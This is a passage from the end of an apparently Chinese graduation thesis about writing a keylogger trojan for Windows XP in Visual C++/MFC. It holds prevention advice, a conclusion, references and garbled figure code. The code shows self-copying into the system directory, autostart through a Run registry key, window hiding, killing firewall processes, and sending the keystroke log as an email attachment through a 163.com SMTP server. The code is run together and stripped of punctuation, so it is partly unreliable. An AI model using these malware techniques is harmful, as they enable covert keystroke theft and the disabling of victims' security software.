分利用了处理器的处理能力,卡巴斯基很少引用别的公司开发的技术,而是在不断的深化,改进自身的杀毒引擎,单从某些方面评论,卡巴斯基的引擎代表着业界最高水准,应该说它与诺顿,mcafee一样都站在杀毒软件的顶峰水平上另外一些国产杀毒软件如瑞星,江民,金山,东方卫士等等,都各具有特色,配合使用杀毒效果就会更好点
4.6注意事项为了使计算机不被黑客浸入使自己有一个安全的环境最好还是从预防做起在操作计算机时应注意以下事项:
1.慎用软件电脑上的木马来源有两种一种是你自己不小心运行了包含有木马的程序另一种情况是“网友”送给你“好玩”的程序所以你以后要小心要弄清楚了是什么程序再运行因为不管是病毒程序还是黑客程序首先都要骗你在自己的机器上运行它所以对来历不明的软件不要轻易尝试并且定期用不同版本的杀毒软件杀毒
2.保护E-mail可将电子邮件内容加密用加了密码的zip文件做附件就是一个很好的办法当然也可以使用专用加密软件使用有过滤功能和远程邮箱管理功能的邮件服务软件比如Fox-Mail
3.0如果想用软件清除可以选用SpamFxterminatorwww.anisyn.com等
3.安全设置浏览器设置安全级别关掉CookiesCookies是在浏览过程中被有些网站往硬盘写入的一些数据它们记录下用户的特定信息因而当用户回到这个页面上时这些信息就可以被重新利用但是关注Cookies的原因不是因为可以重新利用这些信息而是关心这些被重新利用信息的来源:你的硬盘所以你要格外小心可以关掉这个功能!以IE5为例步骤如下:选择“工具”菜单下的“Internet选项”选择其中的“安全”标签就可以为不同区域的Web内容指定安全设置点击下面的“自定义级别”可以看到对Cook2ies和Java等不安全因素的使用限制
4.隐藏IP地址可以采用代理的方法隐藏本机的IP,这样黑客就不能轻易攻击本机了
5.经常更换密码不让WIN来替你保存密码虽然这很方便但是别人同样可以很方便的得到你的密码另一方面取密码要不可猜测的简单的说就是麻烦到别人就是看了也记不住的那种用上所有你能够使用的符号的种类字母大小写数字下划线特殊符号之类的密码最好是隔一段时间就换一个第五章结束语黑客技术在当今受到越来越受到关注,但是一把“利器”在英雄手里就是“斩妖除魔”宝剑,在魔鬼手里就是“掀风作乱”的工具在这里只是对技术进行探讨研究木马不是为了学会攻击他人,而是在研究木马的同时,学会怎么保护自己本文阐述了Windows安全机制,杀毒软件,防火墙的基本原理重点研究了了一个键盘记录形木马的实现,本木马实现了记录当记事本运行时键盘记录,并且能够成功的发送邮件到指定的邮箱本文在木马隐藏部分作了一些研究,具有一定的隐藏能力最后讲述了木马的一般防范方法本次设计在WindowsXP系统下,在VisualC++
6.0利用了MFC进行编程实现了木马的功能在此之前,对VC编程比较生疏,但是通过自我学习和不断编写程序,不仅了解了一种语言,更是掌握了一件非常实用的工具本木马在木马的发展过程中来看不是一个非常优秀的木马,它还是个存在进程的程序当今木马的最高境界在隐藏部分做的极好,它们都被作为线程极的木马,通过远程线程技术插入正常的系统进程中有的DLL形木马通过替换经常使用的正常软件或程序的DLL使得它们完全在进程查看器中消失或者有的木马采用多线程技术,使得防杀软件查杀相当困难在通信方面,一些木马通过最新的穿透防火墙技术,如端口反弹,端口复用等等技术,使得它们不用开新的端口就能与外部通信综上所述本木马在进程隐藏和通信方面有待进一步的研究在邮件发送部分,还可以对邮件进行加密,另外再做一个解密程序,负责将邮件进行解密毕业设计已经接近尾声在这次毕业设计中,我学到了很多新的知识和技能,接触到了新概念理论和应用技巧,体验了一次系统的学习与设计,在这个过程中,我也深刻的认识到了自身的不足客观的说,通过这次毕业设计,我收获了很多知识,特别是独立完成一个功能较完善木马的经历但同时,我也更深切的认识到了自身的不足和深入学习的紧迫因为我发现在之前,自己Windows程序设计的了解和应用是很浅显的,它们都有着很多更深入的内容而这些内容我还不曾企及粗略的应用一种工具软件并不难,但是要真正深入的去掌握一项技术,还需要不懈的钻研和努力一句话,还有很长的路要走参考文献
[1]博嘉科技,VisualC++
6.0网络编程实作教程北京希望电子出版社,
2001.6
[2]郎锐罗发根,VisualC++网络通信程序开发指南,机械工业出版社
2004.3
[3]劲风,一个简单木马程序的编写与伪装策略黑客防线
2002.06期,
2002.6
[4]张幼真,编程扩展”记事本“功能程序员
2003.7期,
2003.7
[5]《黑客防线》编辑部,黑客防线2004年精华本,人民邮电出版社,
2004.
11.
[6]魏朗陈涛,VisualC++程序设计公略教程,西安电子科技大学出版社,
2004.3
[7]刑建民,木马攻击与预防,河北工业科技
2002.4期
2002.4
[8]吴云燕等,木马程序的隐藏机理及有效检测手段 河海大学常州分校学报
2003.3
[9]薛勉等,特洛伊木马植入综述,信息安全与通信保密,
2004.2
[10]纪勇李祥和,Windows系统下木马程序的设计与实现,计算机安全
2003.11
[11]谢志鹏陈锻生,Windows环境下Client/Server木马攻击与防御分析,信息技术
2002.5期
[12]杨希来等,木马编程技术分析,微处理机,
2004.1
[13]徐茜黄雪峰,木马攻防,黑客防线2004年精华本,人民邮电出版社,
2004.
11.致谢在课题的研究开发过程中,从选题,理论研究,和亲身操作实现等关键环节支老师都给与了我指导,并提出了建设性的意见,支老师在我感到困惑时一直精心指导我,使我受益非浅,我所取得的每一个进展和成绩都有支老师心血的倾注他敏锐的思维,见微知著的洞察力,丰富的知识面,严谨的科学态度,无论是对我将来的科学研究,还是从事工作,都将产生重要的影响并发挥重要的作用还得到了同组做毕业设计的其他同学的帮助,他们细心帮我解答各种问题总之,我要感谢信息院及学校所有老师、同学及朋友给予本人的一切帮助,在此表示深深谢意!开始点击木马进入被植入机器符合发送条件杀死防火墙进程结束图2-1木马工作总图记录键盘记录发送记录文件启动木马YN图2-2木马的结构总体发送EMAIL模块(smtp_dll.dll)键盘记录模块(test
3.dll)隐藏判断发送条件提高权限杀死进程复制自身木马主体装载装载自启动文件系统用户图2-3SMTP通讯模型示意图发送SMTP接收SMTP文件系统SMTP命令邮件内容应答表2-1SMTP命令表2-2SMTP应答码表2-3重要AFX函数staticHINSTANCEhinstDLL;//定义回调函数的地址typedefvoidCALLBACK*inshook;inshookinstkbhook;//装载DLL模块ifhinstDLL=LoadLibraryLPCTSTRtest
3.dll{//获取函数指针instkbhook=inshookGetProcAddresshinstDLLinstallhook;//调用DLL中的installhook()函数安装钩子instkbhook;}图3-1动态装载test
3.dll//获得进程的绝对路径charsPath
[100];::GetModuleFileNameNULLsPath100;//获得系统目录 charTempPath[MAX_PATH]; GetSystemDirectoryTempPathMAX_PATH; strcatTempPathstr; end=CopyFilesvExeFileTempPathFALSE;图3-2复制自身到系统目录::GetModuleFileNameNULLsPath100;m_strreg=_TSoftware\\Microsoft\\Windows\\CurrentVersion\\Run;RegOpenKeyHKEY_LOCAL_MACHINEm_strreghregkey;DWORDtype_1=REG_SZ;::RegSetValueExhregkeytestwk10REG_SZBYTE*sPath100图3-3复制自身到系统目录CTestwk1Dlg*pdlg=newCTestwk1Dlg;m_pMainWnd=pdlg;pdlg-ShowWindowSW_HIDE;图3-4界面隐藏关键代码获得系统版本号开始装载KERNEL
32.DLL是否大于或等于0x80000000结束YN取RegisterServiceProcess函数地址图3-5Windows9x隐藏流程图把系统当前进程存入数组取当前进程返回该PID是否与目标进程名相同取数组下个进程YN图3-7找到目标进程PID流程图开始结束HANDLEhProcess=NULL;hProcess=OpenProcessPROCESS_ALL_ACCESSFALSEpid;TerminateProcesshProcess0;CloseHandlehProcess;图3-8杀死目标进程关键代码lstrcpynpMsg-szToUserName@
163.comsizeofpMsg-szTo;lstrcpynpMsg-szBody测试木马发回信息sizeofpMsg-szBody;lstrcpynpMsg-szFromUserNam@
163.comsizeofpMsg-szFrom;lstrcpynpMsg-szSmtpServersmtp.
163.comsizeofpMsg-szSmtpServer;lstrcpynpMsg-szSubject测试收到邮件!sizeofpMsg-szSubject;lstrcpynpMsg-szUserNameUserNamesizeofpMsg-szUserName;lstrcpynpMsg-szPass********sizeofpMsg-szPass;lstrcpynpMsg-szAttachFiled:\system.txtsizeofpMsg-szAttachFile;图3-9初始化邮件打开记录键盘记录的文件获得文件长度杀死防火墙进程文件长度是否大于1000继续记录YN系统时间是否是11点发送邮件N图3-10准发送机制流程图开始结束判断记事本运行模块钩子安装模块记录键盘模块卸载钩子模块图3-11键盘记录模块工作图ifhinstDLL=LoadLibraryLPCTSTRtest
3.dll{instkbhook=inshookGetProcAddresshinstDLLinstallhook;instkbhook;}图3-12安装钩子示意//邮件头准备strTemp=_TFrom:+m_strFrom;file://发件人地址add_header_lineLPCTSTRstrTemp;strTemp=_TTo:+m_strTo;file://收件人地址add_header_lineLPCTSTRstrTemp;m_tDateTime=m_tDateTime.GetCurrentTime;//发送时间strTemp=_TData:;strTemp+=m_tDateTime.Format%a%d%b%y%H:%M:%S%Z;add_header_lineLPCTSTRstrTemp;strTemp=_TSubject:+m_strSubject;file://主题add_header_lineLPCTSTRstrTemp;file://邮件头结束m_strHeader+=_Trn;file://邮件体准备ifm_strBody.Right2!=_Trnfile://确认最后以回车换行结束m_strBody+=_Trn;图3-14格式化邮件BOOLCSMTP::get_responseUINTresponse_expected{ASSERTresponse_expected=GENERIC_SUCCESS;ASSERTresponse_expectedLAST_RESPONSE;CStringsResponse;UINTresponse;response_code*pResp;//Shorthandifm_wsSMTPServer.Receiveresponse_bufRESPONSE_BUFFER_SIZE==SOCKET_ERROR{m_sError=_TSocketError;returnFALSE;}sResponse=response_buf;sscanfLPCTSTRsResponse.Left3_T%dresponse;pResp=response_table[response_expected];ifresponse!=pResp-nResponse{m_sError.Format_T%d:%sresponseLPCTSTRpResp-sMessage;returnFALSE;}}returnTRUE;图3-15get_response部分代码。